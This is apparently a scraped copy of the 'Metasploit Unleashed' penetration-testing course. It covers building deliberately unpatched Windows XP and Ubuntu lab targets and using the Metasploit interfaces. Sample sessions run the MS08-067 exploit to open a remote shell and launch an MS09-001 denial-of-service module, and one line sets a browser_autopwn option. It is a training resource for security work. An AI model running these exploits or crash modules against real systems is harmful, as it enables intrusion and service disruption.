Close Metasploit Unleashed ____________________ Search Notification: ____________________ Sign on/off Add Edit Delete Sort Print Change Password Settings Permissions Professional Login Loading... Loading [anim-progress.gif] Username ____________________ Password ____________________ Remember me [_] System message [BUTTON] This site needs Javascript turned on in your browser. Please try again when you make this change. Introduction "If I had six hours to chop down a tree, I'd spend the first four of them sharpening my axe". -Abraham Lincoln This saying has followed me for many years, and is a constant reminder to me that approaching a problem with the right set of tools is imperative for success. So what does this semi philosophical opening have to do with the Metasploit Framework? Before approaching a penetration test or an audit, I take care to "sharpen my tools" and update anything updatable in BackTrack. This includes a short chain reaction, which always starts with a prompt "svn update" of the Metasploit framework. I consider the MSF to be one of the single most useful auditing tools freely available to security professionals today. From a wide array of commercial grade exploits and an extensive exploit development environment, all the way to network information gathering tools and web vulnerability plugins. The Metasploit Framework provides a truly impressive work environment. The MSF is far more than just a collection of exploits, it's an infrastructure that you can build upon and utilize for your custom needs. This allows you to concentrate on your unique environment, and not have to reinvent the wheel. This course has be written in a manner to encompass not just the front end "user" aspects of the framework, but rather give you an introduction to the capabilities that Metasploit provides. We aim to give you an in depth look into the many features of the MSF, and provide you with the skill and confidence to utilize this amazing tool to its utmost capabilities. Keep in mind that the MSF is constantly evolving and I suspect that by the time this course comes to light, there will have been many changes and additions in the project. We will attempt to keep this course up to date with all new and exciting Metasploit features as they are added. A degree of prerequisite knowledge is expected and required of students before the content provided in this course will be useful. If you find you are unfamiliar with a certain topic, we recommend you spend time engaging in self research on the problem before attempting the module. There is nothing more satisfying than solving problems yourself, so we we highly encourage you to Try Harder. © Offensive Security 2009 IFRAME: actionFrame 01 Introduction Windows XP SP2 Hardware Prerequisites 02 Required Materials Ubuntu 7.04 Required Files Setting up VMware XP SP2 Post Install 03 Interacting with the MSF msfconsole msfcli msfd msfgui msfweb 04 Information Gathering The Dradis Framework Port Scanning Auxiliary Plugins Hunting for MSSQL Service Identification Password Sniffing Writing your own scanner Extending Psnuffle Additional Services SNMP Sweeping 05 Vulnerability Scanning SMB Login Check VNC Authentication Open X11 WMAP Web Scanner Working with Nessus Simple TFTP Fuzzer 06 Writing a Simple Fuzzer Simple IMAP fuzzer 07 Exploit Development Writing an Exploit Getting a Shell Using the Egghunter Mixin Completing the Exploit 08 Client Side Exploits Binary Payloads Alphanumeric Shellcode Java Applet Infection Antivirus Bypass 10 Meterpreter Scripting Existing Scripts Client Side Attacks Social-Engineering Toolkit VBScript Infection Methods Metasploit as a Payload Writing Meterpreter Scripts Event Log Management 09 MSF Post Exploitation Custom Scripts Fun with Incognito Interacting with the Registry Persistent Netcat Backdoor Enabling Remote Desktop Packet Sniffing Pivoting TimeStomp Useful API Calls 11 Maintaining Access Keylogging Useful Functions Meterpreter Backdoor Interacting with Metsvc 13 Fast-Track Fast Track Modes 12 MSF Extended Usage Browser Autopwn Fast Track Updates Karmetasploit MSSQL Injector Configuration Karmetasploit in Action Attack Analysis MSSQL Bruter MSF vs OS X Binary To Hex 15 Donate Here 18 About the Authors David Kennedy Carlos Perez Jim O'Gorman David Ovitz Devon Kearns SQL Pwnage William Coppola Max Moser Mati Aharoni 16 Glossary Modules Resource Files 17 FAQ Payload Generator Mass-Client Attack A Bit About Payloads Creating a Vulnerable Web-App Binary Linux Trojans Matteo Memelli Screen Capture PSExec Pass the Hash Payloads through MSSQL 14 Building a Module Creating our Auxiliary Module The Guts Behind It Backdooring EXE Files File-Upload Backdoors Setting up your Windows XP SP2 For this section we will download our target VM and use Wine to run a windows application known as WinRAR. This application will aid us in extracting the target VM from a split zip file. We encourage you to verify the integrity of the files to ensure you will have successful results. The process is very simple to do since back|track4 has the necessary applications to do this. Hardware Prerequisites Before we dive into the wonderful world of the Metasploit Framework we need to ensure our hardware will meet or exceed some requirements before we proceed. This will help eliminate many problems before they arise later in this document. All values listed are estimated or recommended. You can get away with less although performance will suffer. Some of the hardware requirements that should be considered are: * Hard Drive Space * Available Memory * Processors Capabilities * Inter/Intra-net Access Hard Drive Space This will be the most taxing hurdle to overcome. Be creative if you might have some storage space constraints. This process can consume almost 20 gigabytes of Storage space, so be forewarned. This means we can not use a FAT32 partition since it does not support large files. Choose NTFS, ext3 or some other format. The recommended amount of space needed is 40 gigabytes. 730000000 696MB //z01 file size on disk 730000000 696MB //z02 file size on disk 730000000 696MB //z03 file size on disk 730000000 696MB //z04 file size on disk 730000000 696MB //z05 file size on disk 272792685 260MB //zip file size on disk total -------- 3740MB //Total space before decompression and extraction 5959506432 5700MB //Extracted image file size on disk 20401094656 19456MB //Per Converted FDCC VM on disk 28896MB 8589934592 8192MB //Optional Backtrack "GUEST" HDD Requirement's 37088MB 123290094 112MB //VMware-converter-4.0.1-161434.tar.gz 377487360 360MB //VMware Converter installed on disk 101075736 97MB //VMware-Player-2.5.3-185404.i386.bundle 157286400 150MB //VMware Player Installed on disk 37807MB //See how fast it gets consumed! If you decided to produce clones or snapshots as you progress through this course, these will also take up valuable space on your system. Be vigilant and do not be afraid to reclaim space as needed. Available Memory Without supplying enough memory to your HOST and GUEST operating systems you will eventually cause system failure. You are going to require RAM for your host OS as well as the equivalent amount of RAM that you are dedicating for each virtual machine. Use the guide below to aid you in deciding the amount of RAM needed for your situation. Linux "HOST" Minimal Memory Requirement's 1GB of system memory (RAM) Realistically 2GB or more Per Windows "GUEST" Minimal Memory Requirement's At least 256 megabytes (MB) of RAM (1GB is recommended) // more never hurts! Realistically 1GB or more with a SWAP file of equal value (Optional) Backtrack "GUEST" Minimal Memory Requirement's AT least 512 megabytes (MB) of RAM (1GB is recommended) // more never hurts! Realistically 1GB or more with a SWAP file of equal value Processor Processor Speed is always a problem with dated hardware although old hardware can be utilized in other fashions to serve a better purpose. The bare-minimum requirement for VMware Player is a 400MHz or faster processor (500MHz recommended). The more horsepower you can throw at it, of course, the better. Internet Accessibility This can be solved with a cat5 cable from your router/switch/hub. If there is no DHCP server on your network you will have to assign static IP addresses to your GUEST VM's. A wireless network connection can work just as well as an Ethernet cable, however, the signal degradation over distance, through objects, and structures will severely limit your connectivity. Required materials for the course It should come as no surprise that the majority of exploits available in the Metasploit Framework are targeted against Microsoft Windows, so in order to complete the course labs you will require a target system to attack. This system should consist of a Virtual Machine running on your choice of host operating system. If you don't already have an extra WindowsXP and/or VMware Workstation license, NIST has a pre-made WinXP virtual machine available to download under the Federal Desktop Core Configuration project at the URL in the references in the following section. Their FAQ is a good resource to become familiar with the FDCC. Unfortunately, the virtual machine provided by NIST is in Microsoft VirtualPC format. In addition, the VMs produced by NIST are designed and configured to keep people who wield the Metasploit Framework from compromising them. The steps in the following section will walk you through the process of converting the VirtualPC image to VMware format and stripping out the patches and group policy settings from the image. You will then be able to load and run the virtual machine using the free VMware Player to complete the course labs. While VMware Converter and VMware Player are "free", you will have to register for the downloads. However, the virtualization applications and appliances are well worth the registration if you're not already a current member. You may also use VMware Workstation or other implementations of Virtual Infrastructure. This course was created using the latest svn trunk version of the Metasploit Framework which, at the time of this writing is version 3.3-dev. If you are using back|track 4 as your platform, you can always update to the latest version of the trunk by issuing a 'svn up' in the '/pentest/exploits/framework3/' directory. Lastly, if you intend to do any exploit development, the NIST VM, being a regular workstation image, does not have a debugger installed. You will want to install OllyDbg or Immunity Debugger (or both) in your VM. Ubuntu 7.04 In order to provide some variety for the course and to provide a target other than Microsoft Windows, we will also set up a vulnerable Ubuntu 7.04 Feisty Fawn virtual machine. To begin, we'll download the x86 virtual machine of Ubuntu 7.04 Server provided by Canonical. root@bt4:~# wget http://isv-image.ubuntu.com/vmware/Ubuntu-7.04-server-i386.zip --2009-09-13 08:01:08-- http://isv-image.ubuntu.com/vmware/Ubuntu-7.04-server-i386.zip Resolving isv-image.ubuntu.com... 91.189.88.35 Connecting to isv-image.ubuntu.com|91.189.88.35|:80... connected. HTTP request sent, awaiting response... 200 OK ...snip... While Canonical is very good about making older versions of Ubuntu available, they don't keep the repositories for each distro online forever. In order to enable file and print sharing we'll need to download the Ubuntu 7.04 Server iso image and install our packages from there. root@bt4:~# wget http://old-releases.ubuntu.com/releases/feisty/ubuntu-7.04-server-i386.iso --2009-09-13 08:46:04-- http://old-releases.ubuntu.com/releases/feisty/ubuntu-7.04-server-i386.iso Resolving old-releases.ubuntu.com... 91.189.88.35 Connecting to old-releases.ubuntu.com|91.189.88.35|:80... connected. Once our downloads are finished, we first need to extract the Ubuntu Server virtual machine. root@bt4:~# unzip Ubuntu-7.04-server-i386.zip Archive: Ubuntu-7.04-server-i386.zip inflating: Ubuntu-7.04-server-i386/Ubuntu-7.04-server-i386.vmdk inflating: Ubuntu-7.04-server-i386/Ubuntu-7.04-server-i386.vmx Open up the VM in VMware Player, power it on, and wait for it to boot up. It will appear to be hung at '* Running local boot scripts (/etc/rc.local)' but it's not. Just hit 'Enter' to get the command prompt. The username and password for this VM is ubuntu for both of them. By default, the VM does not have the ethernet interface enabled so we'll need to bring that up first. Change the IP address and subnet in the example below to match your target network. ubuntu@ubuntu:~$ sudo ifconfig eth1 up Password: ubuntu@ubuntu:~$ sudo ifconfig eth1 192.168.1.166 netmask 255.255.255.0 ubuntu@ubuntu:~$ ifconfig eth1 eth1 Link encap:Ethernet HWaddr 00:0C:29:C2:E7:E6 inet addr:192.168.1.166 Bcast:192.168.1.255 Mask:255.255.255.0 Next, we need to install Samba on the VM so we can enable file and print sharing. In order to install it, we will need to first attach the Ubuntu 7.04 Server iso to the VM. On the VMware Player menu, select Devices -> CD/DVD (IDE) -> Connect to Disk Image File (iso). You may first have to disconnect the drive if it is already connected. With the iso attached to the VM, we will install Samba. You will be prompted to confirm the installation. Just press Y to continue. ubuntu@ubuntu:~$ sudo apt-get install samba * Starting Samba daemons... We can now verify that file and print sharing is indeed enabled. ubuntu@ubuntu:~$ netstat -antp | grep 445 tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN Setting up your environment 1. We must first download the 6 files which contain our target VM. Once you download all the files completely, ensure the md5 checksums match the ones provided below. This will take a considerable amount of time to completely download. Please take this into consideration. wget http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/XP-Q4-2009/XP_NIST_FDCC_Q4_2009.zip wget http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/XP-Q4-2009/XP_NIST_FDCC_Q4_2009.z01 wget http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/XP-Q4-2009/XP_NIST_FDCC_Q4_2009.z02 wget http://nvd.nist.gov/download/FDCC-Q4-2009/FDCC_IMAGES/XP-Q4-2009/XP_NIST_FDCC_Q4_2009.z03 2. After the multi-part zip files have been downloaded, we then need to check their MD5 hashes. This process may take a while depending on your hardware capabilities. root@bt4:~# md5sum XP_NIST_FDCC_Q4_2009.z* a185eb4dd9882144e351c30ae236d113 XP_NIST_FDCC_Q4_2009.zip 6e3fe97ae2da74d244a2607877b985b9 XP_NIST_FDCC_Q4_2009.z01 b4c11fd35b71ea6e914792a9828082ef XP_NIST_FDCC_Q4_2009.z02 18f89fc9c57d7aec406efcb9c083099a XP_NIST_FDCC_Q4_2009.z03 root@bt4:~# 3. We must now acquire WinRAR. This will help us in extracting our VM from the zip file. root@bt4:~# wget http://www.offsec.com/downloads/wrar390.exe 4. We will now install msttcorefonts to get wine working properly. root@bt4:~# apt-get install msttcorefonts 5. Next, you will need to start the WinRAR install using wine. root@bt4:~# wine wrar390.exe 6. You can accept the defaults for the installation and then run WinRAR when completed. 7. In WinRAR, click `File', `Open archive' and select the file FDCC-Q4-XP-VHD.zip. Once the archive has opened, click `Extract To' and choose a location for the files. 8. The last important file to download is the virtual machine config file which does not come with the NIST hard drive. Download the vmc file from the location below and save it in the same folder as the extracted hard drive. root@bt4:~# wget ./msf/XP_NIST_FDCC_Q4_2009.vmc Install VMware Converter and Player If you don't already have an installation of VMware Workstation, you can download the VMware Converter and VMware Player applications for free from the following locations: VMware Converter: http://www.vmware.com/products/converter/ VMware Player: http://www.vmware.com/products/player/ 1. Change to the directory containing the VMware converter and un-tar the archive. You can safely accept all of the defaults while installing VMware Converter: root@bt4:~# tar -zxvf VMware-converter-4.0.1-161434.tar.gz 2. Once the extraction is complete, change to the newly created directory and run the installer: root@bt4:~# cd vmware-converter-distrib/ root@bt4:~# ./vmware-install.pl root@bt4:~# /usr/bin/vmware-converter-client 3. Once Converter has started up, select 'Convert Machine' from the toolbar. 4. In the drop-down menu next to 'Select source type', select 'Backup image or third-party virtual machine'. Luckily for us, VMware Converter supports most major image and virtual machine formats. 5. Click 'Browse', and select the '.vmc' file in the from the extracted NIST image, then click 'Next'. 6. In the drop-down menu next to 'Select destination type', select 'VMware Workstation or other VMware virtual machine'. Another drop-down menu will appear below the first one. Select 'Vmware Player 2.5.x'. 7. Enter a name under 'Virtual machine details', choose a location to save the virtual machine, then click 'Next'. 8. On the Windows version of VMware Converter, once Converter has finished analyzing the virtual machine, you will be presented with a window where you can change various VM options. Select 'Advanced options' then select the box 'Install VMware Tools on the imported virtual machine'. Click 'Next', then 'Finish'. 9. Change to your download directory, make the VMware Player executable, and start the VMware Player installer and follow the wizard through the installation: root@bt4:~# chmod 755 VMware-Player-2.5.2-156735.i386.bundle root@bt4:~# ./VMware-Player-2.5.2-156735.i386.bundle 10. Start VMware Player and boot the XP VM. 11. Uninstall the "Virtual Machine Additions" using "Add Remove Programs" and install VMWare tools. Removing GPO Settings 1. Login to the XP machine. The Username for the image is "Renamed_Admin" and the password is P@ssw0rd123456. 2. Right-click the following link and select 'Save As' to download the "Microsoft Fixit" (./downloads/MicrosoftFixit50198.msi). Run the FixIt to reset the GPO settings. Reboot when done. 3. Open a command prompt and issue the following commands: C:\>secedit /configure /db reset /cfg "c:\windows\security\templates\compatws.inf" /overwrite C:\>del c:\windows\system32\grouppolicy\machine\registry.pol 4. Reboot the VM for your changes to take effect. Uninstalling Patches 1. Go into the Control Panel and select 'Switch to Classic View' on the left-hand side. 2. Open 'Windows Firewall' and turn it 'Off'. 3. Open 'Automatic Updates' and select 'Turn off Automatic Updates' so Windows doesn't undo our changes for us. 4. Open 'Security Center', select 'Change the way Security Center alerts me' on the left-hand side and de-select all of the checkboxes. This will disable the annoying system tray pop-up notifications. 5. Back in the Control Panel, open 'Add or Remove Programs'. Select the 'Show updates' checkbox at the top. This will display all of the software and security updates that have been installed. 6. Still in the Control Panel, from the toolbar, select 'Tools', then 'Folder Options'. Select the 'View' tab and scroll all the way to the bottom. Make sure you un-check the box next to 'Use simple file sharing' and click 'OK'. 7. From the command line run the following command to uninstall all patches and reboot : C:\>dir /a /b c:\windows\$ntuninstallkb* > kbs.txt && for /f %i in (kbs.txt) do cd c:\windows\%i\spuninst && spuninst.exe /passive /norestart && ping -n 15 localhost > nul 8. Reboot the VM to complete the un-installation process. Interacting with the MSF There are many different interfaces to the Metasploit framework, each with their own strengths and weaknesses. As such, there is no one perfect interface to use with MSF, although the msfconsole is the only supported way to access most features of the Framework. It is still beneficial, however, to be comfortable with all the interfaces that MSF offers. The next module will provide an overview of the various interfaces, along with some discussion where each is best utilized. msfconsole The msfconsole is probably the most popular interface to the MSF. It provides an "all-in-one" centralized console and allows you efficient access to virtually all of the options available in the Metasploit Framework. Msfconsole may seem intimidating at first, but once you learn the syntax of the commands you will learn to appreciate the power of utilizing this interface. The msfconsole interface will work on Windows with the 3.3 release, however users of version 3.2 will need to either manually install the Framework under Cygwin, along with patching the Ruby installation, or access the console emulator via the included web or GUI components. Benefits of the msfconsole: * It is the only supported way to access most of the features within Metasploit. * Provides a console-based interface to the framework * Contains the most features and is the most stable MSF interface * Full readline support, tabbing, and command completion * Execution of external commands in msfconsole is possible: msf > ping -c 1 192.168.1.2 [*] exec: ping -c 1 192.168.1.2 PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data. 64 bytes from 192.168.1.2: icmp_seq=1 ttl=128 time=10.3 ms --- 192.168.1.2 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 10.308/10.308/10.308/0.000 ms msf > Getting Help Entering 'help' or a '?' at the msf command prompt will display a listing of available commands along with a description of what they are used for. msf > help Core Commands ============= Command Description ------- ----------- ? Help menu back Move back from the current context banner Display an awesome metasploit banner cd Change the current working directory connect Communicate with a host exit Exit the console help Help menu info Displays information about one or more module irb Drop into irb scripting mode jobs Displays and manages jobs load Load a framework plugin loadpath Searches for and loads modules from a path quit Exit the console resource Run the commands stored in a file tab completion One of the more useful features of msfconsole is tab completion. With the wide array of modules available, it can be difficult to remember the exact name and path of the particular module you wish to make use of. As with most other shells, entering what you know and pressing 'Tab' will present you with a list of options available to you or auto-complete the string if there is only one option. msf > use exploit/windows/smb/ms use exploit/windows/smb/ms03_049_netapi use exploit/windows/smb/ms04_007_killbill use exploit/windows/smb/ms04_011_lsass use exploit/windows/smb/ms04_031_netdde use exploit/windows/smb/ms05_039_pnp use exploit/windows/smb/ms06_025_rasmans_reg use exploit/windows/smb/ms06_025_rras use exploit/windows/smb/ms06_040_netapi use exploit/windows/smb/ms06_066_nwapi use exploit/windows/smb/ms06_066_nwwks use exploit/windows/smb/ms08_067_netapi use exploit/windows/smb/msdns_zonename msf > use exploit/windows/smb/ms08_067_netapi "show" Command Entering 'show' at the msfconsole prompt will display every module within Metasploit. msf > show Encoders ======== Name Description ---- ----------- cmd/generic_sh Generic Shell Variable Substitution Command Encoder generic/none The "none" Encoder mipsbe/longxor XOR Encoder There are a number of 'show' commands you can use but the ones you will use most frequently are 'show auxiliary', 'show exploits', and 'show payloads'. Executing 'show auxiliary' will display a listing of all of the available auxiliary modules within Metasploit. Auxiliary modules include scanners, denial of service modules, fuzzers, and more. msf > show auxiliary Auxiliary ========= Name Description ---- ----------- admin/backupexec/dump Veritas Backup Exec Windows Remote File Access admin/backupexec/registry Veritas Backup Exec Server Registry Access admin/cisco/ios_http_auth_bypass Cisco IOS HTTP Unauthorized Administrative Access Naturally, 'show exploits' will be the command you are most interested in running since at its core, Metasploit is all about exploitation. Run 'show exploits' to get a listing of all exploits contained in the framework. msf > show exploits Exploits Name Description ---- ----------- aix/rpc_ttdbserverd_realpath ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow bsdi/softcart/mercantec_softcart Mercantec SoftCart CGI Overflow Running 'show payloads' will display all of the different payloads for all platforms available within Metasploit. msf > show payloads Payloads Name Description ---- ----------- aix/ppc/shell_bind_tcp AIX Command Shell, Bind TCP Inline aix/ppc/shell_find_port AIX Command Shell, Find Port Inline aix/ppc/shell_reverse_tcp AIX Command Shell, Reverse TCP Inline As you can see, there are a lot of payloads available. Fortunately, when you are in the context of a particular exploit, running 'show payloads' will only display the payloads that are compatible with that particular exploit. For instance, if it is a Windows exploit, you will not be shown the Linux payloads. msf exploit(ms08_067_netapi) > show payloads Compatible payloads =================== Name Description ---- ----------- generic/debug_trap Generic x86 Debug Trap generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP Stager (IPv6) generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap, Bind TCP Stager (No NX or Win7) If you have selected a specific module, you can issue the 'show options' command to display which settings are available and/or required for that specific module. msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting If you aren't certain whether an operating system is vulnerable to a particular exploit, run the 'show targets' command from within the context of an exploit module to see which targets are supported. msf exploit(ms08_067_netapi) > show targets Exploit targets: 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows XP SP2 English (NX) 4 Windows XP SP3 English (NX) 5 Windows 2003 SP0 Universal If you wish the further fine-tune an exploit, you can see more advanced options by running 'show advanced'. msf exploit(ms08_067_netapi) > show advanced Module advanced options: Name : CHOST Current Setting: Description : The local client address Name : CPORT Description : The local client port "search" Command The msfconsole includes an extensive regular-expression based search functionality. If you have a general idea of what you are looking for you can search for it via 'search '. In the output below, a search is being made for MS Bulletin MS09-011. The search function will locate this string within the module references. Note the naming convention for Metasploit modules uses underscores versus hyphens. msf > search ms09-001 [*] Searching loaded modules for pattern 'ms09-001'... Name Description ---- ----------- dos/windows/smb/ms09_001_write Microsoft SRV.SYS WriteAndX Invalid DataOffset "info" Command The 'info' command will provide detailed information about a particular module including all options, targets, and other information. msf > info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo "use" Command When you have decided on a particular module to make use of, issue the 'use' command to select it. msf > use dos/windows/smb/ms09_001_write msf auxiliary(ms09_001_write) > show options Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port msf auxiliary(ms09_001_write) > "connect" Command By issuing the 'connect' command with an ip address and port number, you can connect to a remote host from within msfconsole the same as you would with netcat or telnet. msf > connect 192.168.1.1 23 [*] Connected to 192.168.1.1:23 ÿýÿýÿý!ÿûÿû DD-WRT v24 std (c) 2008 NewMedia-NET GmbH Release: 07/27/08 (SVN revision: 10011) ÿ DD-WRT login: "set" Command The 'set' command is used to configure the options and settings of the module you are currently working with. msf auxiliary(ms09_001_write) > set RHOST 192.168.1.1 RHOST => 192.168.1.1 RHOST 192.168.1.1 yes The target address A recently added feature in Metasploit is the ability to set an encoder to use at run-time. This is particularly useful in exploit development when you aren't quite certain as to which payload encoding methods will work with an exploit. msf exploit(ms08_067_netapi) > show encoders Compatible encoders mipsle/longxor XOR Encoder php/base64 PHP Base64 encoder ppc/longxor PPC LongXOR Encoder ppc/longxor_tag PPC LongXOR Encoder sparc/longxor_tag SPARC DWORD XOR Encoder x64/xor XOR Encoder x86/alpha_mixed Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper Alpha2 Alphanumeric Uppercase Encoder x86/avoid_utf8_tolower Avoid UTF8/tolower x86/call4_dword_xor Call+4 Dword XOR Encoder x86/countdown Single-byte XOR Countdown Encoder x86/fnstenv_mov Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive Polymorphic Jump/Call XOR Additive Feedback Encoder x86/nonalpha Non-Alpha Encoder x86/nonupper Non-Upper Encoder x86/shikata_ga_nai Polymorphic XOR Additive Feedback Encoder x86/unicode_mixed Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper Alpha2 Alphanumeric Unicode Uppercase Encoder msf exploit(ms08_067_netapi) > set encoder x86/shikata_ga_nai encoder => x86/shikata_ga_nai "check" command There aren't many exploits that support it, but there is also a 'check' option that will check to see if a target is vulnerable to a particular exploit instead of actually exploiting it. msf exploit(ms04_045_wins) > show options RHOST 192.168.1.114 yes The target address RPORT 42 yes The target port 0 Windows 2000 English msf exploit(ms04_045_wins) > check [-] Check failed: The connection was refused by the remote host (192.168.1.114:42) Setting Global Variables In order to save a lot of typing during a pentest, you can set global variables within msfconsole. You can do this with the 'setg' command. Once these have been set, you can use them in as many exploits and auxiliary modules as you like. You can also save them for use the next time your start msfconsole. However, the pitfall is forgetting you have saved globals, so always check your options before you 'run' or 'exploit'. Conversely, you can use the 'unsetg' command to unset a global variable. In the examples that follow, variables are entered in all-caps (ie: LHOST), but Metasploit is case-insensitive so it is not necessary to do so. msf > setg LHOST 192.168.1.101 LHOST => 192.168.1.101 msf > setg RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf > setg RHOST 192.168.1.136 RHOST => 192.168.1.136 msf > save Saved configuration to: /root/.msf3/config msf > "exploit/run" Commands When launching an exploit, you issue the 'exploit' command whereas if you are using an auxiliary module, the proper usage is 'run' although 'exploit' will work as well. msf auxiliary(ms09_001_write) > run Attempting to crash the remote host... datalenlow=65535 dataoffset=65535 fillersize=72 rescue datalenlow=55535 dataoffset=65535 fillersize=72 datalenlow=45535 dataoffset=65535 fillersize=72 datalenlow=35535 dataoffset=65535 fillersize=72 datalenlow=25535 dataoffset=65535 fillersize=72 "back" Command Once you have finished working with a particular module, or if you inadvertently select the wrong module, you can issue the 'back' command to move out of the current context. This, however is not required. Just as you can in commercial routers, you can switch modules from within other modules. As a reminder, variables will only carry over if they are set globally. msf auxiliary(ms09_001_write) > back "resource" Command Some attacks such as Karmetasploit use a resource file that you can load through the msfconsole using the 'resource' command. These files are a basic scripting for msfconsole. It runs the commands in the file in sequence. Later on we will discuss how, outside of Karmetasploit, that can be very useful. msf > resource karma.rc resource> load db_sqlite3 [-] [-] The functionality previously provided by this plugin has been [-] integrated into the core command set. Use the new 'db_driver' [-] command to use a database driver other than sqlite3 (which [-] is now the default). All of the old commands are the same. [-] Failed to load plugin from /pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin resource> db_create /root/karma.db [*] The specified database already exists, connecting [*] Successfully connected to the database [*] File: /root/karma.db resource> use auxiliary/server/browser_autopwn resource> setg AUTOPWN_HOST 10.0.0.1 AUTOPWN_HOST => 10.0.0.1 "irb" Command Running the 'irb' command will drop you into ruby scripting mode where you can issue commands and create scripts on the fly. msf > irb [*] Starting IRB shell... >> puts "Hello, metasploit!" Hello, metasploit! msfcli Msfcli provides a powerful command-line interface to the framework. Note that when using msfcli, variables are assigned using '=' and that all options are case-sensitive. root@bt4:/pentest/exploits/framework3# ./msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.115 PAYLOAD=windows/shell/bind_tcp E [*] Please wait while we load the module tree... [*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (NX) [*] Triggering the vulnerability... [*] Sending stage (474 bytes) [*] Command shell session 1 opened (192.168.1.101:54659 -> 192.168.1.115:4444) Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32> If you aren't entirely sure about what options belong to a particular module, you can append the letter 'O' to the end of the string at whichever point you are stuck. root@bt4:/pentest/exploits/framework3# ./msfcli windows/smb/ms08_067_netapi O To display the payloads that are available for the current module, append the letter 'P' to the command-line string. root@bt4:/pentest/exploits/framework3# ./msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.115 P generic/debug_trap Generate a debug trap in the target process The other options available to msfcli are available by issuing 'msfcli -h'. Benefits of mscli: * Supports the launching of exploits and auxiliary modules * Useful for specific tasks * Good for learning * Convenient to use when testing or developing a new exploit * Good tool for one-off exploitation * Excellent if you know exactly which exploit and options you need * Wonderful for use in scripts and basic automation The only real drawback of msfcli is that it is not supported quite as well as msfconsole and it can only handle one shell at a time, making it rather impractical for client-side attacks. It also doesn't support any of the advanced automation features of msfconsole. msfd The MSFD application allows you to spawn an instance of msfconsole and allow remote users to connect to and use it. Note that no authentication is required and the only access control is IP address based, so this should only be done in a trusted environment. To start the MSF daemon, simply run './msfd'. This will spawn an instance of msfconsole on the default port 55554. Connecting with netcat to that port launches the msfconsole. Note this can also be performed remotely as well. You can also launch the daemon from the msfconsole itself. Simply launch msfconsole then issue the 'load msfd' and 'unload msfd' commands to start and stop the specific service. However, doing so does not put users of the daemon in the same contextual session as the msfconsole user. root@bt4:/pentest/exploits/framework3# ./msfconsole =[ msf v3.3-dev + -- --=[ 380 exploits - 231 payloads + -- --=[ 20 encoders - 7 nops =[ 156 aux msf > load msfd [*] Successfully loaded plugin: msfd msf > unload msfd Unloading plugin msfd...unloaded. msfgui Msfgui, as its name suggests, provides a graphical user interface to the Metasploit Framework. Benefits of msfgui: * Good tool for demonstrations to clients and management * Provides a point and click interface for exploitation * GTK wizard-based interface for using the Metasploit Framework * Supports a msfconsole clone via Control+O or menu options Window->Console * Graphical file and process browser when using Meterpreter payloads * Visual job handling and windowing Drawbacks of msfgui are: * As of version 3.3 of the Metasploit Framework, msfgui will no longer be maintained. * It is not particularly stable and is prone to crashing msfweb The msfweb component of metasploit is a multi-user ruby-on-rails interface to the framework. Benefits of msfweb: * Supports multiple users, AJAX-based msfconsole implementation, payloads, encoders, and more. * It's excellent for providing managment or user-awareness demos Drawbacks of msfweb include: * It is only sporadically updated * It works, but it is a memory hog and can force the browser to a crawl * The msfweb interface provides absolutely no security and should only be used on trusted networks Information Gathering The foundation for any successful penetration test is solid information gathering. Failure to perform proper information gathering will have you flailing around at random, attacking machines that are not vulnerable and missing others that are. We will next cover various features within the Metasploit framework that can assist with the information gathering effort. The Dradis Framework Whether you are performing a pen-test as part of a team or are working on your own, you will want to be able to store your results for quick reference, share your data with your team, and assist with writing your final report. An excellent tool for performing all of the above is the dradis framework. Dradis is an open source framework for sharing information during security assessments and can be found here. The dradis framework is being actively developed with new features being added regularly. Dradis is far more than just a mere note-taking application. Communicating over SSL, it can import Nmap and Nessus result files, attach files, generate reports, and can be extended to connect with external systems (e.g. vulnerability database). In back|track4 you can issue the following command: root@bt4: apt-get install dradis Once the framework has installed we can now go to the directory and start the server. root@bt4: cd /pentest/misc/dradis/server root@bt4: ruby ./script/server => Booting WEBrick... => Rails application started on https://localhost:3004 => Ctrl-C to shutdown server; call with --help for options [2009-08-29 13:40:50] INFO WEBrick 1.3.1 [2009-08-29 13:40:50] INFO ruby 1.8.7 (2008-08-11) [i486-linux] [2009-08-29 13:40:50] INFO [2009-08-29 13:40:50] INFO WEBrick::HTTPServer#start: pid=8881 port=3004 At last, we are ready to open the dradis web interface. Navigate to https://localhost:3004 (or use the IP address), accept the certificate warning, enter a new server password when prompted, and login using the password set in the previous step. Note that there are no usernames to set so on login, you can use whichever login name you like. If all goes well, you will be presented with the main dradis workspace. On the left-hand side you can create a tree structure. Use it to organise your information (eg: Hosts, Subnets, Services, etc). On the right-hand you can add the relevant information to each element (think notes or attachments). Prior to starting the dradis console, you will need to edit the file 'dradis.xml' to reflect the username and password you set when initially running the server. This file can be located under back|track4 under '/pentest/misc/dradis/client/conf'. You can now 